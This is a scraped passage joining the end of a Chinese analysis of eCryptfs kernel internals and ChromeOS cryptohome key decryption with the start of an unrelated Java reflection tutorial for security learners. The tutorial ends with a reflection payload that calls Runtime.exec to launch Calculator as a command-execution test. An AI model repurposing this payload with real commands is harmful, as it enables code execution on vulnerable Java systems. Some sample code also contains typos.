1. `ecryptfs_new_file_context()`函数完成初始化文件的 context，主要包括加密算法 cipher、auth token、生成针对文件加密的随机密钥等，这里使用的关键数据结构是 struct ecryptfs_crypt_stat，具体如清单五所示，初始化文件的 context 基本可以看成是初始化`struct ecryptfs_crypt_stat`对象，该对象的 cipher、auth token、key sign 等值从 mount eCryptfs 传入的 option 并保存在`struct ecryptfs_mount_crypt_stat` （详见清单四）对象中获取。具体是：首先由`ecryptfs_set_default_crypt_stat_vals()`函数完成 flags、extent_size、metadata_size、cipher、key_size、file_version、mount_crypt_stat 等 `ecryptfs_crypt_stat`对象的缺省值设置；然后再通过`ecryptfs_copy_mount_wide_flags_to_inode_flags()`函数根据mount时设置的`ecryptfs_mount_crypt_stat`的 flags 重新设置 `ecryptfs_crypt_stat` 对象 flags；接着由`ecryptfs_copy_mount_wide_sigs_to_inode_sigs()`函数将 mount 时保存的 key sign 赋值给 `ecryptfs_crypt_stat` 对象的 keysig_list 中的节点对象中的 keysig；然后继续将`ecryptfs_mount_crypt_stat`的 cipher、key_size 等值赋给 `ecryptfs_crypt_stat` 对象中的相应值；再调用函数`ecryptfs_generate_new_key()`生成 key 并保存到 `ecryptfs_crypt_stat` 对象的 key；最后通过`ecryptfs_init_crypt_ctx()` 函数完成 kernel crypto context 的初始化，如 tfm，为后续的写操作时的加密做好准备。
2. `ecryptfs_get_lower_file()`通过调用底层文件系统的接口打开文件，需要注意的是`ecryptfs_privileged_open()`，该函数唤醒了上文清单六提到 kthread，借助该内核线程，eCryptfs 巧妙避开了底层文件的读写权限的限制。
3. `ecryptfs_write_metadata()` 完成关键的写入 eCryptfs 文件格式到新创建的文件中。
关键函数`ecryptfs_write_headers_virt()`的代码如清单七所示，eCryptfs
保存格式如清单七的注释（也可参考上文的图四），其格式传承自OpenPGP，最后在`ecryptfs_generate_key_packet_set()`完成
EFEK 的生成，并根据 token_type 的类型是 ECRYPTFS_PASSWORD 还是 ECRYPTFS_PRIVATE_KEY 生成不同的
OpenPGP 的 Tag，之后保存到 eCryptfs 文件头部 bytes 26 开始的地方。这里以 ECRYPTFS_PASSWORD 为例，因此
bytes 26 地址起存放的内容是 Tag3 和 Tag11，对应着 EFEK 和 Key sign。否则保存的是 Tag1，即 EFEK。Tag3 或
Tag1 的具体定义详见 OpenPGP 的描述文档 RFC2440.
之后将生成的 eCryptfs
文件的头部数据保存到底层文件系统中，该工作由`ecryptfs_write_metadata_to_contents()`完成。
1. 最后通过`ecryptfs_put_lower_file()`将文件改动的所有脏数据回写入磁盘。
三．最后通过 d_instantiate() 函数将步骤一生成的 inode 信息初始化相应的 dentry，方便后续的读写操作。
###### 清单七 写入eCryptfs格式文件的关键函数
/* Format version: 1
* Header Extent:
* Octets 0-7: Unencrypted file size (big-endian)
* Octets 8-15: eCryptfs special marker
* Octets 16-19: Flags
* Octet 16: File format version number (between 0 and 255)
* Octets 17-18: Reserved
* Octet 19: Bit 1 (lsb): Reserved
* Bit 2: Encrypted?
* Bits 3-8: Reserved
* Octets 20-23: Header extent size (big-endian)
* Octets 24-25: Number of header extents at front of file (big-endian)
* Octet 26: Begin RFC 2440 authentication token packet set
* Data Extent 0: Lower data (CBC encrypted)
* Data Extent 1: Lower data (CBC encrypted)
* ...
*/
static int ecryptfs_write_headers_virt(char *page_virt, size_t max,
size_t *size,
struct ecryptfs_crypt_stat *crypt_stat,
struct dentry *ecryptfs_dentry)
{
int rc;
size_t written;
size_t offset;
offset = ECRYPTFS_FILE_SIZE_BYTES;
write_ecryptfs_marker((page_virt + offset), &written);
offset += written;
ecryptfs_write_crypt_stat_flags((page_virt + offset), crypt_stat,
&written);
offset += written;
ecryptfs_write_header_metadata((page_virt + offset), crypt_stat,
&written);
offset += written;
rc = ecryptfs_generate_key_packet_set((page_virt + offset), crypt_stat,
ecryptfs_dentry, &written,
max - offset);
…
return rc;
}
##### 加密文件open过程
这里 open 过程主要指通过 open 系统调用打开一个已存在的加密文件的流程。当应用程序在已完成 eCryptfs 挂载的目录下
open一个已存在的加密文件时（这里以普通文件为例），其系统调用流程如图八所示，经由层层调用后进入ecryptfs_open()函数，由其完成加密文件的
metadata 分析，然后取出EFEK并使用 kernel crypto 解密得到 FEK。另外在文中”create过程”分析时，着重介绍了创建
eCryptfs
格式文件的过程，省略了在完成lookup_open()函数调用后的vfs_open()的分析，它与这里介绍的vfs_open()流程是一样的。需要特别指出的是在`do_dentry_open`函数里初始化了struct
file的f_mapping成员，让其指向inode->i_mapping；而在上图五的 inode
的创建函数`ecryptfs_inode_set`中存在`“inode->i_mapping->a_ops =
&ecryptfs_aops”`的赋值语句，这为后续的加密文件的页读写时使用的关键对象`struct address_space_operations
a_ops`做好了初始化。
下面重点介绍 ecryptfs_open() 函数，其主要的函数调用关系如图九所示。eCryptfs 支持 Tag3 和 Tag1 的形式保存
EFEK，这里的分析默认是采用了 Tag3 的方式。
图八 create 经由 VFS 调用 ecryptfs_create 的流程
图九 eCryptfs 创建加密文件的函数调用过程
`ecryptfs_open()`函数的完成的主要功能包括读取底层文件，分析其文件头部的 metadata，取出关键的 EFEK 及 key
sign，之后根据key sign从`ecryptfs_mount_crypt_stat`对象中匹配到相应的 auth token，再调用 kernel
crypto 解密 EFEK 得到 FEK，最后将 FEK 保存到`ecryptfs_crypt_stat`的 key 成员中，完成
`ecryptfs_crypt_stat` 对象的初始化，供后续的文件加解密使用。具体如下：
1. `ecryptfs_set_file_private()`巧妙的将 `struct ecryptfs_file_info` 保存到 struct file 的 private_data 中，完成 VFS 和 eCryptfs 之间的链式表达及映射；
2. `ecryptfs_get_lower_file()`借助 kthread 内核线程巧妙的获取到底层文件的RW权限；
3. `ecryptfs_set_file_lower()` 完成 `struct ecryptfs_file_info`的 wfi_file 和底层文件系统文件 lower_file 之间的映射；
4. `read_or_initialize_metadata()` 完成了 ecryptfs_open 的大部分功能，首先通过`ecryptfs_copy_mount_wide_flags_to_inode_flags()`从文件对应的 `ecryptfs_mount_crypt_stat` 中拷贝 flags 对`ecryptfs_crypt_stat`的 flags 进行初始化；之后使用函数 `ecryptfs_read_lower()` 读取文件的头部数据，紧接着利用`ecryptfs_read_headers_virt()` 进行数据分析和处理，包括：
1) 利用`ecryptfs_set_default_sizes()`初始化`ecryptfs_crypt_stat`对象的
extent_size、iv_bytes、metadata_size 等成员的默认值;
2) 使用`ecryptfs_validate_marker()`校验文件的 marker 标记值是否符合 eCryptfs 文件格式；
3) 通过`ecryptfs_process_flags()`取出文件 metadata 保存的 flag 并修正
`ecryptfs_crypt_stat` 对象成员 flags 的值,同时初始化对象成员 file_version；
4) 在`parse_header_metadata()`分析文件的 metadata 的大小并保存到 `ecryptfs_crypt_stat` 对象成员
metadata_size；
5) 通过 `ecryptfs_parse_packet_set()` 解析 Tag3 和 Tag11 的 OpenPGP 格式包，获取 EFEK 及
key sign，后根据 key sign 匹配到 auth token，再调用 kernel crypto 解密 EFEK 得到
FEK。对应的代码实现逻辑是：`parse_tag_3_packet()`解析 Tag3，获取 EFEK 和 cipher，同时将 cipher 保存到
`ecryptfs_crypt_stat` 对象成员 cipher；parse_tag_11_packet() 解析出 key sign，保存到
auth_tok_list 链表中；`ecryptfs_get_auth_tok_sig()`从 auth_tok_list 链表中获取到 key
sign;然后通过`ecryptfs_find_auth_tok_for_sig()`根据 key sign
从`ecryptfs_mount_crypt_stat`对象中匹配到相应的 auth token；再利用
`decrypt_passphrase_encrypted_session_key()`使用分析得到的 auth token、cipher 解密出
FEK，并将其保存在 ecryptfs_crypt_stat 的 key 成员；之后在`ecryptfs_compute_root_iv()` 函数里初始化
`ecryptfs_crypt_stat`的 root_iv 成员，在 `ecryptfs_init_crypt_ctx()`函数里初始化
ecryptfs_crypt_stat 的 kernel crypto 接口 tfm。至此，`ecryptfs_crypt_stat`
对象初始化完毕，后续文件在读写操作时使用到的加解密所需的所有信息均在该对象中获取。
##### 加密文件 read 过程
read 过程指应用程序通过 read()函数在 eCryptfs 挂载的目录下读取文件的过程。因为挂载点在挂载 eCryptfs
之前可能已经存在文件，这些已存在的文件属于非加密文件，只有在完成 eCryptfs 挂载后的文件才自动保存成 eCryptfs
格式的加密文件，所以读取文件时需要区分文件是否属于加密文件。从应用程序发起read()操作到eCryptfs层响应的函数调用关系流程图如十所示，读取时采用page
read的机制，涉及到page cache的问题，图中以首次读取文件，即文件内容还没有被读取到page
cache的情况为示例。自`ecryptfs_read_update_atime()`起进入到 eCryptfs
层，由此函数完成从底层文件系统中读取出文件内容，若是加密文件则利用 kernel crypto 和 open 时初始化好的
ecryptfs_crypt_stat 对象完成内容的解密，之后将解密后的文件内容拷贝到上层应用程序，同时更新文件的访问时间，其中
touch_atime()完成文件的访问时间的更新；`generic_file_read_iter()`
函数调用内核函数`do_generic_file_read()`，完成内存页的申请，并借助 mapping->a_ops->readpage()
调用真正干活的主力 `ecryptfs_readpage()` 来完成解密工作，最后通过 `copy_page_to_iter()`
将解密后的文件内容拷贝到应用程序。到了关键的解密阶段，描述再多也不如代码来的直观，ecryptfs_readpage() 的核心代码如清单八、九、十所示。
图十 create 经由 VFS 调用 ecryptfs_create 的流程
###### 清单八 ecryptfs_readpage()关键代码
static int ecryptfs_readpage(struct file *file, struct page *page)
{
struct ecryptfs_crypt_stat *crypt_stat =
&ecryptfs_inode_to_private(page->mapping->host)->crypt_stat;
int rc = 0;
if (!crypt_stat || !(crypt_stat->flags & ECRYPTFS_ENCRYPTED)) {
//读取非加密文件
rc = ecryptfs_read_lower_page_segment(page, page->index, 0,
PAGE_CACHE_SIZE,
page->mapping->host);
} else if (crypt_stat->flags & ECRYPTFS_VIEW_AS_ENCRYPTED) {
//直接读取密文给上层，此时应用程序读到的是一堆乱码
if (crypt_stat->flags & ECRYPTFS_METADATA_IN_XATTR) {
rc = ecryptfs_copy_up_encrypted_with_header(page, crypt_stat);
…
} else {
rc = ecryptfs_read_lower_page_segment(
page, page->index, 0, PAGE_CACHE_SIZE,
page->mapping->host);
…
}
} else {
//读取密文并调用kernel crypto解密
rc = ecryptfs_decrypt_page(page);
…
}
…
return rc;
}
###### 清单九 ecryptfs_decrypt_page()核心代码
int ecryptfs_decrypt_page(struct page *page)
{
…
ecryptfs_inode = page->mapping->host;
//获取包含有FEK、cipher、crypto context tfm信息的ecryptfs_crypt_stat
crypt_stat = &(ecryptfs_inode_to_private(ecryptfs_inode)->crypt_stat);
//计算加密文件内容在底层文件中的偏移
lower_offset = lower_offset_for_page(crypt_stat, page);
page_virt = kmap(page);
//利用底层文件系统的接口读取出加密文件的内容
rc = ecryptfs_read_lower(page_virt, lower_offset, PAGE_CACHE_SIZE, ecryptfs_inode);
kunmap(page);
…
for (extent_offset = 0;
extent_offset < (PAGE_CACHE_SIZE / crypt_stat->extent_size);
extent_offset++) {
//解密文件内容
rc = crypt_extent(crypt_stat, page, page,
extent_offset, DECRYPT);
…
}
…
}
###### 清单十 crypt_extent()核心加解密函数的关键代码
static int crypt_extent(struct ecryptfs_crypt_stat *crypt_stat,
struct page *dst_page,
struct page *src_page,
unsigned long extent_offset, int op)
{
//op 指示时利用该函数进行加密还是解密功能
pgoff_t page_index = op == ENCRYPT ? src_page->index : dst_page->index;
loff_t extent_base;
char extent_iv[ECRYPTFS_MAX_IV_BYTES];
struct scatterlist src_sg, dst_sg;
size_t extent_size = crypt_stat->extent_size;
int rc;
extent_base = (((loff_t)page_index) * (PAGE_CACHE_SIZE / extent_size));
rc = ecryptfs_derive_iv(extent_iv, crypt_stat,
(extent_base + extent_offset));
…
sg_init_table(&src_sg, 1);
sg_init_table(&dst_sg, 1);
sg_set_page(&src_sg, src_page, extent_size,
extent_offset * extent_size);
sg_set_page(&dst_sg, dst_page, extent_size,
extent_offset * extent_size);
//调用kernel crypto API进行加解密
rc = crypt_scatterlist(crypt_stat, &dst_sg, &src_sg, extent_size, extent_iv, op);
…
return rc;
}
理顺了 mount、open 的流程，知道 FEK、cipher、kernel crypto context
的值及存放位置，同时了解了加密文件的格式，解密的过程显得比较简单，感兴趣的同学可以继续查看 crypt_scatterlist()的代码，该函数纯粹是调用
kernel crypto API 进行加解密的过程，跟 eCryptfs 已经没有关系。
##### 加密文件 write 过程
eCryptfs 文件 write 的流程跟 read 类似，在写入 lower file 前先通过 ecryptfs_writepage()
函数进行文件内容的加密，这里不再详述。
#### 四、ChromeOS 使用 eCryptfs 的方法及流程
Chromeos 在保护用户数据隐私方面可谓不遗余力，首先在系统分区上专门开辟出专用于存储用户数据的 stateful
partition，当用户进行正常和开发者模式切换时，该分区的数据将会被自动擦除；其次该 stateful partition 的绝大部分数据采用 dm-crypt 进行加密，在系统启动时用户登录前由 mount-encrypted
完成解密到`/mnt/stateful_partition/encrypted`，另外完成以下几个mount工作：将`/Chromeos/mnt/stateful_partition/home
bind mount` 到`/home`；将`/mnt/stateful_partition/encrypted/var bind
mount`到`/var`目录；将`/mnt/stateful_partition/encrypted/chromos bind mount`
到`/home/chronos`。最后在用户登录时发起对该用户私有数据的 eCryptfs 加解密的流程，具体工作由 cryptohomed
守护进程负责完成，eCryptfs
加密文件存放在`/home/.shadow/[salted_hash_of_username]/vault`目录下，感兴趣的读者可通过 ecryptfs-stat 命令查看其文件状态和格式，mount
点在`/home/.shadow/[salted_hash_of_username]/mount`，之后对`/home/.shadow/[salted_hash_of_username]/mount`下的
user 和 root 建立 bind mount
点，方便用户使用，如将`/home/.shadow/[salted_hash_of_username]/mount/user bind
mount`到`/home/user/[salted_hash_of_username]`和`/home/chronos/u-[salted_hash_of_username]`
；将`/home/.shadow/[salted_hash_of_username]/mount/root bind
mount`到`/home/root/[salted_hash_of_username]`。用户在存取数据时一般是对目录`/home/chronos/u-[salted_hash_of_username]`进行操作。
eCryptfs 在 Chromeos 中的应用架构如图十所示。系统启动后开启 cryptohomed 的守护进程，由该进程来响应 eCryptfs
的挂载和卸载等，进程间采用D-Bus的方式进行通信，cryptohome应用程序主用于封装用户的动作命令，后通过 D-Bus 向 cryptohomed
发起请求。如可通过cryptohome命令“cryptohome -–action=mount -–user=[account_id]”来发起
eCryptfs 的挂载;通过命令“cryptohome
-–action=unmount”卸载eCryptfs的挂载，执行成功此命令后，用户的所有个人数据将无法访问，如用户先前下载的文件内容不可见、安装的应用程序不可使用，`/home/.shadow/[salted_hash_of_username]/mount`内容为空。
图十一 eCryptfs 在 Chromeos 中的架构图
cryptohomed 特色的 mount 流程如下：
1.cryptohomed 在 D-Bus 上接收到持（包含用户名和密码）有效用户证书的mount请求，当然D-Bus请求也是有权限控制的；
2.假如是用户首次登陆，将进行：
a．
建立`/home/.shadow/[salted_hash_of_username]`目录，采用SHA1算法和系统的salt对用户名进行加密，生成`salted_hash_of_username`，简称s_h_o_u;
b． 生成`vault keyset
/home/.shadow/[salted_hash_of_username]/master.0`和`/home/.shadow/[salted_hash_of_username]/master.0.sum`。
master.0 加密存储了包含有 FEK 和 FNEK 的内容以及非敏感信息如 salt、password rounds 等；master.0.sum
是对 master.0 文件内容的校验和。
3.采用通过 mount 请求传入的用户证书解密 keyset。当 TPM 可用时优先采用 TPM 解密，否则采用 Scrypt 库，当 TPM
可用后再自动切换回使用 TPM。cryptohome 使用 TPM 仅仅是为了存储密钥，由 TPM 封存的密钥仅能被 TPM
自身使用，这可用缓解密钥被暴力破解，增强保护用户隐私数据的安全。TPM 的首次初始化由 cryptohomed 完成。这里默认 TPM
可正常使用，其解密机制如下图十二所示，其中：
UP：User Passkey，用户登录口令
EVKK：Ecrypted vault keyset key，保存在master.0中的”tpm_key”字段
IEVKK：Intermediate vault keyset key，解密过程生成的中间文件，属于EVKK的解密后产物，也是RSA解密的输入密文
TPM_CHK: TPM-wrapped system-wide Cryptohome
key，保存在/home/.shadow/cryptohome.key，TPM init时加载到TPM
VKK：Vault keyset key
VK：Vault Keyset，包含FEK和FNEK
EVK：Encrypted vault keyset，保存在master.0里”wrapped_keyset”字段
图十二中的 UP（由发起 mount 的D-Bus请求中通过 key 参数传入）做为一个 AES key 用于解密EVKK，解密后得到的 IEVKK；然后将
IEVKK 做为 RSA 的密文送入 TPM，使用 TPM_CHK 做为密钥进行解密，解密后得到 VKK；最后生成的VKK是一个 AES key，用于解密
master.0里的 EVK，得到包含有 FEK 和 FNEK 明文的 VK。经过三层解密，终于拿到关键的 FEK，那么问题来了，Chromeos 的
FEK 的保存及解密流程与上文介绍的 eCryptfs 时不一致，FEK 不应该是 open 时从加密文件的头部 metadata 里的 EFEK
中解密出来的么？不过一次解密出FEK，全局使用，效率的确比每次读取文件时解析FEK高很多，之后通过 key 的系统调用将 key 传入内核的
keyring，使用时通过key sign匹配。最后跟上文所述实属异曲同工。
4.通过 mount 系统调用传入 option 完成挂载。
该部分与正常的 Linux 做法一致，在 mount 的 option 里传入关键的 cipher、key sign、key bytes 等信息。
图十二 TPM解密VK的流程
#### 五、结语
ecryptfs 建立在系统安全可信的基础上，保护用户数据的安全，核心基础组件是加密密钥，若在内核被攻破后密钥被通过某些手段窃取，ecryptfs
的安全性将同样被攻破。另外 page cache 中加密文件的明文页有可能被交换到 swap 区，在 chromeos
中已经禁用了swap，因此不会产生影响，但是其他版本的 Linux 系统需要注意该问题。
eCryptfs 首次实现到现在已经十年有余，直到近几年才在 chromeos 和 Ubuntu
上使用，个人认为除了之前人们的安全意识不如现在强烈外，更重要的是随着处理器性能的增强，eCryptfs
加解密引起的文件读写性能下降的问题已经得到缓解。但实际的性能损耗如何，有待继续研究。或许出于性能的原因，年初的时候 Google 在 chromeos
实现了基于ext4 crypto 的 dircrypto，用于实现跟 eCryptfs 同样的功能，目前 chromeos 同时支持 eCryptfs 和
dircrypto，但在60版本后优先采用 dircrypto 技术，相关技术在另外的文章中进行介绍。
最后，文中必有未及细看而自以为是的东西，望大家能够去伪存真，更求不吝赐教。
#### 六、参考资料
* [企业级加密文件系统 eCryptfs 详解](https://www.ibm.com/developerworks/cn/linux/l-cn-ecryptfs/ "企业级加密文件系统 eCryptfs 详解")
* [eCryptfs: a Stacked Cryptographic Filesystem](http://www.linuxjournal.com/article/9400 "eCryptfs: a Stacked Cryptographic Filesystem")
* [Linux kernel-V4.4.79 sourcecode](https://chromium.googlesource.com/chromiumos/third_party/kernel/+/v4.4.79 "Linux kernel-V4.4.79 sourcecode")
* [chromiumos platform-9653 sourcecode](https://chromium.googlesource.com/chromiumos/ "chromiumos platform-9653 sourcecode")
* * * | 社区文章 |
### 0x00 前言
在写完上个文章[JAVA安全基础（一）--类加载器（ClassLoader）](https://xz.aliyun.com/t/9002
"JAVA安全基础（一）--类加载器（ClassLoader）")之后，打算更新一个java安全基础系列文章，一部分自己学到的东西能够做个知识沉淀，另一部分是想帮助一部分想入门java安全的小伙伴。所以文章总体比较通俗简单，自己的讲述分析和概念应用可能会占比较大的篇幅，比较注重带来一些基础性东西，大佬勿喷～。
### 0x01 反射概念
反射是Java的特征之一，是一种间接操作目标对象的机制，核心是JVM在运行状态的时候才动态加载类，对于任意一个类都能够知道这个类所有的属性和方法，并且对于任意一个对象，都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息，还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。
### 0x02 编译机制
静态编译：在编译时确定好类型，绑定对象。
动态编译：在运行时确定类型，绑定对象。
### 0x03 优点
反射：将类的各个组成部分封装为其他对象，这就是反射机制。
1、可以在程序运行过程中，操作这些对象。
2、可以解耦，提高程序的可扩展性。
### 0x04 示例讲解
反射机制可以动态创建对象和编译，体现很大的灵活性。在一个大型系统发布时，如果以后需要更新某些功能的时候，不可能让用户将之前的游戏卸载掉，重新安装新的版本。采取静态编译的话，需要把整个游戏重新编译一次才能实现功能的更新，而使用反射机制的话，不需要卸载，只需要在运行的时候动态创建和编译即可。
### 0x05 java反射机制流程图
这里我们使用一个简陋的流程图配合讲述下反射机制基本流程。比如我们创建了一个类文件，经过javac编译之后，就会形成class文件，同时jvm内存会查找生成的class文件读入内存和经过ClassLoader加载，同时会自动创建生成一个Class对象，里面拥有其获取成员变量Field，成员方法Method和构造方法Constructor等方法。最后就是我们平时new创建对象。
这里其实跟我们了解到java运行体系没有很大区别，只是我们生成class文件的时候，也创建了Class对象。而Class是java.lang.Class类中，是所有类的的类。而类是java.lang.Class类的实例对象，所以我们的反射机制本身不复杂，就是获取一个类的Class对象，然后在用Class对象中的获取成员变量Field，成员方法Method和构造方法Constructor等方法，再去动态获取一个类或者调用一个类的属性，变量，构造方法等方式。
### 0x06 反射组成相关的类
反射机制相关操作一般位于java.lang.reflect包中。
而java反射机制组成需要重点注意以下的类：
java.lang.Class：类对象;
java.lang.reflect.Constructor：类的构造器对象;
java.lang.reflect.Field：类的属性对象;
java.lang.reflect.Method：类的方法对象;
### 0x07 反射常见使用的方法
获取类的方法：forname
实例化类对象的方法：newInstance
获取函数的方法：getMethod
执行函数的方法：invoke
### class对象的获取方法
从上述流程图分析中可以得知，java反射机制的原理基础是理解Class类，在反射中，我们想获取一个类或调用一个类的方法，需要先获取到该类的Class对象。
对于普通用户我们可以采用以下方法创建实例：
Person test = new Person();
而我们在创建class类的实例对象却不能使用上述方法，运行会抛出错误
Class test = new Class();
同时我们可以跟进Class类的源码进行查看，发现其构造器是私有的，所以只有JVM能够创建Class对象。
因为Class类是private私有属性，我们也无法通过创建对象的方式来获取class对象，那么我们怎样才能够获取到class对象呢？一般我们获取class对象就有以下三种方法，我们来逐一看看。
#### 1、类的.class属性
第一种就是最简单明了的方式，我们可以通过类名的属性class获取。
Class c1=ReflectDemo.class;
#### 2、实例化对象的getClass()方法
第二种我们可以先实例化一个对象，之后在调用getClass()方法。
ReflectDemo demo2= new ReflectDemo();
Class c2 = demo2.getClass();
#### 3、Class.forName(String className)：动态加载类
第三种则是调用Class类中的forName方法，将字节码文件加载进内存，返回Class对象。
Class c3 = Class.forName("reflectdemo.ReflectDemo");
我们可以写个简单的示例代码，分别利用这三种方法获取当前类Class对象的当前类名。
public class ReflectTemo {
public static void main(String[] args) throws ClassNotFoundException {
// 类的.class属性
Class c1 = ReflectTemo.class;
System.out.println(c1.getName());
// 实例化对象的getClass()方法
ReflectTemo demo = new ReflectTemo();
Class c2 = demo.getClass();
System.out.println(c2.getName());
// Class.forName(String className): 动态加载类
Class c3 = Class.forName("com.reflect.ReflectTemo");
System.out.println(c3.getName());
}
}
但在这三种获取CLass类方式中，我们一般使用第三种通过Class.forName方法去动态加载类。且使用forName就不需要import导入其他类，可以加载我们任意的类。
而使用类.class属性，需要导入类的包，依赖性太强，在大型项目中容易抛出编译错误；
而使用实例化对象的getClass()方法，需要本身创建一个对象，本身就没有了使用反射机制意义。
所以我们在获取class对象中，一般使用Class.forName方法去获取。
### 获取成员变量Field
获取成员变量Field位于java.lang.reflect.Field包中
Field[] getFields() ：获取所有public修饰的成员变量
Field[] getDeclaredFields() 获取所有的成员变量，不考虑修饰符
Field getField(String name) 获取指定名称的 public修饰的成员变量
Field getDeclaredField(String name) 获取指定的成员变量
import java.lang.reflect.Field;
public class FieldTest {
public String name;
public String profession;
protected int age;
private String number;
char sex;
public static void main(String[] args){
try{
Class c1 = Class.forName("com.reflect.FieldTest"); // 创建Class对象
Field[] fieldArray1 = c1.getDeclaredFields(); //获取全部成员变量
Field[] fieldArray2 = c1.getFields();// 获取全部public成员变量
for (Field field : fieldArray1){
System.out.println(field.getName());
}
System.out.println("-------分割线---------");
for (Field field : fieldArray2){
System.out.println(field.getName());
}
System.out.println("-------分割线---------");
Field fieldArray3 = c1.getField("name"); // 获取指定名称的public修饰的成员变量
System.out.println(fieldArray3.getName());
System.out.println("-------分割线---------");
Field fieldArray4 = c1.getDeclaredField("number"); // 获取指定的成员变量
System.out.println(fieldArray4.getName());
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 获取成员方法Method
Method getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法
Method getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法
//第一个参数获取该方法的名字，第二个参数获取标识该方法的参数类型
Method[] getMethods() //获取所有的public方法，包括类自身声明的public方法，父类中的public方法、实现的接口方法
Method[] getDeclaredMethods() // 获取该类中的所有方法
import java.lang.reflect.Method;
public class MethodTest {
public void study(String s) {
System.out.println("学习中..." + s);
}
protected void run() {
System.out.println("跑步中...");
}
void eat() {
System.out.println("吃饭中...");
}
private String sleep(int age) {
System.out.println("睡眠中..." + age);
return "sleep";
}
public static void main(String[] args) {
try {
Class c = Class.forName("com.reflect.MethodTest"); // 创建Class对象
Method[] methods1 = c.getDeclaredMethods(); // 获取所有该类中的所有方法
Method[] methods2 = c.getMethods(); // 获取所有的public方法，包括类自身声明的public方法，父类中的public方法、实现的接口方法
for (Method m:methods1) {
System.out.println(m.);
}
System.out.println("-------分割线---------");
for (Method m:methods2) {
System.out.println(m);
}
System.out.println("-------分割线---------");
Method methods3 = c.getMethod("study", String.class); // 获取study方法
System.out.println(methods3);
System.out.println("-------分割线---------");
Method method4 = c.getDeclaredMethod("sleep", int.class); // 获取sleep方法
System.out.println(method4);
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 获取构造函数Constructor
Constructor<?>[] getConstructors() ：只返回public构造函数
Constructor<?>[] getDeclaredConstructors() ：返回所有构造函数
Constructor<> getConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的public构造函数
Constructor<> getDeclaredConstructor(类<?>... parameterTypes) ： 匹配和参数配型相符的构造函数
import java.lang.reflect.Constructor;
public class ConstructorTest {
public ConstructorTest() {
System.out.println("无参构造函数");
}
public ConstructorTest(String name) {
System.out.println("有参构造函数" + name);
}
private ConstructorTest(boolean n) {
System.out.println("私有构造函数");
}
public static void main(String[] args) {
try {
Class c1 = Class.forName("com.reflect.ConstructorTest");
Constructor[] constructors1 = c1.getDeclaredConstructors();
Constructor[] constructors2 = c1.getConstructors();
for (Constructor c : constructors1) {
System.out.println(c);
}
System.out.println("-------分割线---------");
for (Constructor c : constructors2) {
System.out.println(c);
}
System.out.println("-------分割线---------");
Constructor constructors3 = c1.getConstructor(String.class);
System.out.println(constructors3);
System.out.println("-------分割线---------");
Constructor constructors4 = c1.getDeclaredConstructor(boolean.class);
System.out.println(constructors4);
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 反射创建类对象
在前面我们获取了Class对象，之后展示了一系列获取成员变量、成员方法和成员函数的方式后，我们现在可以通过反射来生成实例化对象，一般我们使用Class对象的newInstance()方法来进行创建类对象。
使用的方式也特别简单，只需要通过forname方法获取到的class对象中进行newInstance方法创建即可。
Class c = Class.forName("com.reflect.MethodTest"); // 创建Class对象
Object m1 = c.newInstance(); // 创建类对象
这里也顺便说下invoke方法，invoke方法位于java.lang.reflect.Method类中，用于执行某个的对象的目标方法。
一般会和getMethod方法配合进行调用。
使用用法
public Object invoke(Object obj, Object... args)
第一个参数为类的实例，第二个参数为相应函数中的参数
obj：从中调用底层方法的对象，必须是实例化对象
args： 用于方法的调用，是一个object的数组，参数有可能是多个
但需要注意的是，invoke方法第一个参数并不是固定的：
**如果调用这个方法是普通方法，第一个参数就是类对象；**
**如果调用这个方法是静态方法，第一个参数就是类；**
将我们的知识进行整合归纳下，我们可以写个完整的小例子。
import java.lang.reflect.Method;
public class ReflectTest {
public void reflectMethod() {
System.out.println("反射测试成功!!!");
}
public static void main(String[] args) {
try {
Class c = Class.forName("com.reflect.ReflectTest"); // 创建Class对象
Object m = c.newInstance(); // 创建类实例对象
Method method = c.getMethod("reflectMethod"); // 获取reflectMethod方法
method.invoke(m); // 调用类实例对象方法
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 小结
上面我们讲述了反射机制流程概念和基本使用方法，从Class对象获取，到获取成员变量、成员方法和构造函数，接着是newInstance创建类对象和invoke方法，最后是一个简单反射例子的组成。相信大家都对反射有个很清晰的了解和认识，现在我们来看看我们平时漏洞测试中，如何使用java反射中如何获取Runtime类来命令执行测试弹出计算器。
### 利用反射构造Runtime类执行
这里我们可以先模仿前面的反射例子，尝试去反射执行Runtime类去命令执行。
import java.lang.reflect.Method;
public class RuntimeTest {
public static void main(String[] args) throws Exception {
Class c1 = Class.forName("java.lang.Runtime");
Object m = c1.newInstance();
Method method = c1.getMethod("exec", String.class);
method.invoke(m,"/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
但我们发现了使用newInstance产生了报错的话，而往往其可能是以下原因未能实现。
1、使用的类没有无参构造函数
2、使用的类构造函数是私有的
之后我们查看其出错原因，java.lang.Runtime with modifiers
"private"。Runtime类的构造方法是private权限私有的，是根据“单例模式”进行设计的，我们无法进行直接调用。看来我们上述的反射机制也是有限制的，并不能饶过private权限的检查。
既然我现在不能绕过private权限的检测，那我先不管newIntance创建类对象，先获取Rumtime类的方法先谈个计算器再看看。所以我们需要对代码进行简单修改下。
我们使用getMethod作用通过反射获取一个类的某个特定的公有方法。且java中支持类的重载，我们不能仅通过函数名确定一个函数。在调用getMethod时候，需要传给他你需要获取的函数的参数类型列表。
如Runtime.exec方法有6个重载：
exec(String commmand)
我们可以实用最简单这种只有一个参数且类型是String。实用getMethod("exec",String.class)获取Runtime.exec方法，并且获取getRuntime方法来执行。
然后我们将这段代码进行简略下，就生成以下我们常见的反射payload测试：
Class c1 = Class.forName("java.lang.Runtime");
c1.getMethod("exec", String.class).invoke(c1.getMethod("getRuntime").invoke(c1),"/System/Applications/Calculator.app/Contents/MacOS/Calculator");
这里我们虽然成功执行方法弹出计算器，但仅仅只是调用其方法去实现。而我们还是想执行其私有方法，通过newInstance来构造使用。这样就需要我们通过setAccessible(true)来突破访问权限的检查。
### 设置setAccessible(true)暴力访问权限
